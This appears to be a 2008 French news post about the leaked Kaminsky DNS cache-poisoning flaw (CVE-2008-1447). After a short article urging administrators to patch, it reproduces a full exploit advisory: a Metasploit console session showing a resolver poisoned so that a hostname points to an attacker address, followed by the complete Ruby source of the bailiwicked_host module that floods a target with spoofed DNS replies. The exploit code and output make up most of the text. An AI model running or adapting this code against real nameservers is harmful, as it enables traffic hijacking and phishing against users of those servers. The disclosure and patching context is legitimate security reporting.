|
|
Code source de l'attaque DNS
Des détails révélant les mécanismes de l'attaque des serveurs DNS ont été publiés par erreur. Pour les administrateurs réseaux il est urgent de "patcher" leurs logiciels DNS, les attaques ne devant plus tarder maintenant selon les experts.
Une société spécialisée dans la sécurité informatique a publié par inadvertance des détails sur la faille des serveurs DNS (Domain Name System), plusieurs semaines avant la date prévue. La faille a été découverte par Dan Kaminsky, il y a quelques mois.
Le problème a amené des correctifs de la part de Microsoft, Cisco et d'Internet Systems Consortium, il y a deux semaines, à destination des serveurs DNS des entreprises et des FAIs. Dan Kaminsky avait prévu de révéler les détails de la faille lors d'une présentation à la conférence Black Hat, le 6 août prochain.
Lundi 21 juillet, le PDG de Zynamics.com, Thomas Dullien (qui utilise le nom de hacker Halvar Flake) a fait des hypotheses sur la faille. Ses découvertes ont été rapidement confirmées par la société de sécurité Matasano, qui a été mise au courant des détails de la faille par Dan Kaminsky. « Halvar Flake a découvert ce que Dan Kaminsky va annoncer à la conférence, a déclaré Montesano sur son blog.
Ce commentaire a été retiré 5 minutes après. Mais des copies circulent sur internet, dont l'une a été vue par l'agence de presse IDG News Service, à l'origine de cet article. Le blog de Matasano discutait des détails techniques de la faille, en déclarant qu'en utilisant une connexion internet rapide, un pirate pourrait lancer ce que l'on appelle une attaque par « DNS cache poisoning » sur un serveur DNS, et réussir à rediriger du trafic vers des sites Web illégitimes en dix secondes. « L'attaque décrite par Dan Kaminisky utilise plusieurs bugs connus en les combinant d'une manière inédite, a déclaré Cricket Liu vice president des architectures chez le vendeur d'appliance DNS Infoblox, après avoir lu le document posté sur le blog de Matasano.
Le bug est lié à la manière dont les clients et les serveurs DNS obtiennent de l'information d'autres serveurs DNS sur internet. Quant le logiciel DNS ne connaît pas l'adresse IP d'une machine sur le réseau, il demande cette information à un autre serveur DNS. Dans le cas de « cache poisoning » , l'attaque piège le logiciel DNS en lui faisant croire que des domaines légitimes sont reliés à des adresses IP illégitimes. Dans l'attaque décrite par Dan Kaminsky, il y a également l'usage de ce que l'on appelle l'information d'"Additional Resource Record". En ajoutant cette information, l'attaque est beaucoup plus puissante, selon les experts. Une attaque pourrait viser des serveurs DNS d'un FAI, les redirigeant vers des serveurs illégitimes.
Dan Kaminsky a refusé de confirmer si Halvar Flake avait découvert le problème, mais sur son site web, il a indiqué lundi 21 juillet, « 13>0 », ce qui pourrait signifier que 13 jours pour que les administrateurs réseaux « patchent » leurs serveurs DNS depuis la disponibilité des correctifs c'était mieux que rien. « Patchez. Aujourd'hui. Maintenant. Oui, restez tard" at-t-il écrit. Dan Kaminsky a également publié un test permettant de savoir si les logiciels DNS sont protégés.
Et bien sur, des hackers ont délivré un logiciel qui exploite la faille des serveurs DNS récemment médiatisée. Le code d'attaque est disponible depuis mercredi (http://metasploit.com/dev/trac/changeset/5579) et a été produit par les développeurs des outils de hacking Metasploit. On estime que ce code peut donner la possibilité de lancer des attaques par phishing particulièrement efficaces. Bien que les correctifs aient été proposés afin de corriger cette faille, tous les serveurs DNS sont encore loin d'avoir été mis à jour.
===============/========================================================
Exploit ID: CAU-EX-2008-0002
Release Date: 2008.07.23
Title: bailiwicked_host.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Author/Email: I)ruid <druid (@) caughq.org>
H D Moore <hdm (@) metasploit.com>
===============/========================================================
Example
=======
# /msf3/msfconsole
=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 72 aux
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
HOSTNAME pwned.example.com yes Hostname to hijack
NEWADDR 1.3.3.7 yes New address for hostname
RECONS 208.67.222.222 yes Nameserver used for reconnaissance
RHOST yes The target address
SRCPORT yes The target server's source query port (0 for automatic)
XIDS 10 yes Number of XIDs to try for each query
msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got answer with 2 answers, 0 authorities
[*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
[*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
[*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >
msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D
Server: A.B.C.D
Address: A.B.C.D#53
Non-authoritative answer:
Name: pwned.example.com
Address: 1.3.3.7
Credits
=======
Dan Kaminsky is credited with originally discovering this vulnerability.
References
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113
Metasploit
==========
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'
module Msf
class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
include Exploit::Remote::Ip
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
malicious host entry into the target nameserver by sending random sub-domain
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for the domain which contain a
malicious host entry for the hostname to be poisoned in the authority and
additional records sections. Eventually, a guessed ID will match and the
spoofed packet will get accepted, and due to the additional hostname entry
being within bailiwick constraints of the original request the malicious host
entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5585 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
'Privileged' => true,
'Targets' =>
[
["BIND",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
'DisclosureDate' => 'Jul 21 2008'
))
register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
], self.class)
end
def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end
def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end
print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)
random = false
ports = []
lport = nil
1.upto(5) do |i|
req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports << t_port
end
end
end
end
srv_sock.close
if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
return
end
if(random)
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
print_status(" This server may still be exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
end
end
def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + '.'
address = datastore['NEWADDR']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
ttl = datastore['TTL'].to_i
xidbase = rand(4)+2*10000
domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
end
end
# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
t = Time.now + ttl
print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
print_status(" Cache entry expires on #{t.to_s}... sleeping.")
cached = true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end
if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end
# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0
connect_ip if not ip_sock
print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
while true
randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
req.rd = 1
buff = (
Scruby::IP.new(
#:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1
xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src => barbs[i][:addr].to_s,
:src => barb[:addr].to_s,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end
# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
end
# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end
end
end
end
end
Posté le 25 juillet 2008 par _SebF - Sébastien FONTAINE
- source Reseaux-Telecoms
Vous pouvez commenter cette nouvelle
en posant vos avis, questions et remarques
sur le forum actualité
|
|
